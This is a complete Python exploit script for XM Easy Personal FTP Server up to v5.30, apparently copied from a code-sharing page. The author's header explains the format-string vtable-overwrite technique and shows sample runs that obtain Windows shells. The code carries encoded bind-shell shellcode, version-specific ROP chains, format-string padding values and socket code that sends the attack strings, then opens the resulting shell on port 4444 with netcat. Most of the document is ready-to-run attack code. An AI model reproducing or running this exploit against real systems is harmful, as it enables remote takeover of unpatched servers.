扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 |
#!/usr/bin/python # XM Easy Personal FTP Server v <= 5.30 Remote Format String write4 Exploit # exploit by: mr_me (@net__ninja/mr_me[at]corelan.be) # Thanks to the Corelan Security Team # Note: this is a poc only, and requires the following target environment: # Windows Server 23k: # - msvcrt.dll v7.0.3790.3959 # - ntdll.dll v5.2.3790.4937 # # ..or # # Windows XP SP3: # - msvcrt.dll v7.0.2600.5512 # - ntdll.dll v5.1.2600.6055 # # Fully tested against these environments. # # An additional offset for the allocated chunk (0x00AEFAB9) under Windows XP SP3 # (ntdll.dll vv5.1.2600.5512 (xpsp.080413-2111)) are: # # if auth_required == 1: # sploit += "%11467127x" # lookaside chunk address 0x00AEFAB9 # elif auth_required == 2: # sploit += "%11467133x" # lookaside chunk address 0x00AEFAB9 # # Thanks to @_bcoles for the additional testing and target. # # Well, after 6 years of DoS, 2 DoS metasploit modules later, I thought it would be a good # time for some unreliable RCE: # # - http://www.exploit-db.com/search/?action=search&filter_description=XM+Easy+Personal # - http://www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=XM+Easy&cve=&msb= # # How is the exploit working? Voodoo? ...no # # Basically at crash time I could only find our string at [esp-0xYYYYYYYY] and as such # couldn't use our string to overwrite an arbitrary function pointer. But when I looked # closer at the esp, I noticed that at esp+0x7c an object is stored. So what I did was # use the %n to overwrite the objects vtable with a controlled value (str length + %YYx # to pad out the arbitrary fake vtable). During the application authentication routine, # it will allocate the strings we send as USER/PASS from a heap and then free them to # the lookaside (as long as the string length is < 1016 bytes in size). # # Because this address is relative and has a static base in this environment, I was able # to use the heap chunk address as the pointer to write at the vtable. Then a function is # called at offset 0xb0 or 0x98 and we can reliably return into a ROP payload and execute # arbitrary code. # # Enjoy the shells guys # ~ mr_me # # example exploitation against XP: # # mr_me@gliese:~/pentest/research/targets/xm$ ./xm_pwnage.py 192.168.153.160 # ------------------------------------------------------------------------- #XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit #Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 2 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 1 # (+) Connecting to the target 192.168.153.160:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.160 4444 port [tcp/*] succeeded! # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Documents and Settings\steve> # # example exploitation against Windows Server 23k: # # mr_me@gliese:~/pentest/research/targets/xm$ ./poc_working.py 192.168.153.159 # ------------------------------------------------------------------------- #XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit #Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 1 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 2 # (+) Connecting to the target 192.168.153.159:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.159 4444 port [tcp/*] succeeded! # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Documents and Settings\Administrator\Desktop> # import socket import struct import sys from os import system from time import sleep host = '' port = 21 # ./msfpayload windows/shell_bind_tcp exitfunc=seh R | # ./msfencode -b "\x00\x0a\x0d" -e x86/jmp_call_additive -t c # [*] x86/jmp_call_additive succeeded with size 373 (iteration=1 sc = ("\xfc\xbb\x70\x4e\xf9\xb6\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x8c\xa6\x70\xb6\x6c" "\x37\xe3\x3e\x89\x06\x31\x24\xda\x3b\x85\x2e\x8e\xb7\x6e\x62" "\x3a\x43\x02\xab\x4d\xe4\xa9\x8d\x60\xf5\x1f\x12\x2e\x35\x01" "\xee\x2c\x6a\xe1\xcf\xff\x7f\xe0\x08\x1d\x8f\xb0\xc1\x6a\x22" "\x25\x65\x2e\xff\x44\xa9\x25\xbf\x3e\xcc\xf9\x34\xf5\xcf\x29" "\xe4\x82\x98\xd1\x8e\xcd\x38\xe0\x43\x0e\x04\xab\xe8\xe5\xfe" "\x2a\x39\x34\xfe\x1d\x05\x9b\xc1\x92\x88\xe5\x06\x14\x73\x90" "\x7c\x67\x0e\xa3\x46\x1a\xd4\x26\x5b\xbc\x9f\x91\xbf\x3d\x73" "\x47\x4b\x31\x38\x03\x13\x55\xbf\xc0\x2f\x61\x34\xe7\xff\xe0" "\x0e\xcc\xdb\xa9\xd5\x6d\x7d\x17\xbb\x92\x9d\xff\x64\x37\xd5" "\xed\x71\x41\xb4\x79\xb5\x7c\x47\x79\xd1\xf7\x34\x4b\x7e\xac" "\xd2\xe7\xf7\x6a\x24\x08\x22\xca\xba\xf7\xcd\x2b\x92\x33\x99" "\x7b\x8c\x92\xa2\x17\x4c\x1b\x77\xb7\x1c\xb3\x28\x78\xcd\x73" "\x99\x10\x07\x7c\xc6\x01\x28\x57\x71\x06\xe6\x8c\xd1\xe1\x0b" "\x32\xc7\xad\x82\xd4\x8d\x5d\xc3\x4f\x3a\x9c\x30\x58\xdd\xdf" "\x12\xf5\x76\x48\x2a\x10\x40\x77\xab\x37\xe2\xd4\x03\xdf\x71" "\x37\x90\xfe\x85\x12\xb0\x89\xbd\xf5\x4a\xe7\x0c\x67\x4a\x22" "\xe6\x04\xd9\xa8\xf7\x43\xc2\x67\xaf\x04\x34\x71\x25\xb9\x6f" "\x2b\x58\x40\xe9\x14\xd8\x9f\xca\x9b\xe0\x52\x76\xbf\xf2\xaa" "\x77\xfb\xa6\x62\x2e\x55\x11\xc5\x98\x17\xcb\x9f\x77\xf1\x9b" "\x66\xb4\xc2\xdd\x66\x91\xb5\x02\xd6\x4c\x83\x3d\xd7\x18\x03" "\x45\x05\xb9\xec\x9c\x8d\xc7\x1c\x2d\x18\x5f\x86\xc4\x61\x3d" "\x39\x33\xa5\x38\xb9\xb6\x56\xbf\xa1\xb2\x53\xfb\x66\x2e\x2e" "\x94\x02\x50\x9d\x95\x07\x50\x21\x6a\xa7\x51\x21\x6a") def banner(): print "-------------------------------------------------------------------------" print " XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit" print " Written by mr_me (@net__ninja)" print "-------------------------------------------------------------------------\n" if (len(sys.argv) < 2): banner() print "Usage: %s <target_ip> [port]" %(sys.argv[0]) sys.exit(1) if (len(sys.argv) == 3): port = int(sys.argv[2]) host = sys.argv[1] banner() print("(+) Choose your target:") print(" 1. Windows Server 2003 EN") print(" 2. Windows XP SP3 EN") try: target = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if target not in [1,2]: print("(-) Invalid target!") sys.exit(0) print("(+) Choose your option:") print(" 1. use no authentication (anonymous is disabled)") print(" 2. use authentication (anonymous is enabled)") try: auth_required = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if auth_required not in [1,2]: print("(-) Invalid option!") sys.exit(0) # start building the attack string sploit= "ABOR " # rop - Windows Server 23k if target == 1: # C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959 rop= struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x77ba1114) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77bbf244) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77bb0c86) # xchg eax,esi ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77BBF102) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77bbfc02) # pop ecx ; retn rop += struct.pack('<L', 0x77bef001) # ptr that is w+ rop += struct.pack('<L', 0x77bd8c04) # pop edi ; retn rop += struct.pack('<L', 0x77bd8c05) # retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77be2265) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77BB8285) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77be6591) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%12133031x" # lookaside chunk address #11204415 elif auth_required == 2: sploit += "%12133037x" # lookaside chunk address pivot = "\x35\x62\xba\x77" # 0x77BA6235 - xchg eax,esp; retn jump= "\xeb\x56" # jump forward into our shellcode # rop - Windows XP SP3 elif target == 2: # C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512 rop= struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x77C11120) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77C2E493) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77C21891) # pop esi ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2DD6C) # xchg eax,esi ; add [eax],al; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77C2362C) # pop ebx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2E071) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77C1F519) # pop ecx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C23B47) # pop edi ; retn rop += struct.pack('<L', 0x77C23B48) # retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77C35459) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77C58FBC) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77C567F0) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%11204415x" # lookaside chunk address elif auth_required == 2: sploit += "%11204421x" # lookaside chunk address pivot = "\xd5\x5e\xc1\x77" # 0x77C15ED5 - xchg eax,esp; retn jump= "\xeb\x4a" # jump forward into our shellcode sploit += "%p" * 31# offset to the object on the stack sploit += "%n" * 1 # write the controlled value into the vtable sploit += "\x45" * 4500 username= "USER anonymous\r\n" password= "PASS anonymous@" password += rop password += jump password += "\x62" * (0x96-len(rop)) password += pivot# vtable+0x98 function password += "\x62" * 0x14 password += pivot# vtable+0xb0 function password += sc password += "\x62" * (0x398-len(password)) password += ".com\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "(+) Connecting to the target %s:%d" % (host, port) s.connect((host,port)) except: print("(-) Cannot connect to the target %s:%s" % (host, port)) sys.exit(0) try: print "(+) Seeding payload..." s.recv(1024) s.send(username) s.recv(1024) s.send(password) s.recv(1024) print "(+) Triggering write4..." s.send(sploit) s.recv(1024) s.close() except: print "(-) Failed to trigger the vulnerability...!" sys.exit(0) print "(+) Connecting to the targets shell!" try: sleep(1) system("nc -v %s 4444" % host) except: print("(-) Exploit failed! check if the target service is up") sys.exit(0) |
体验盒子
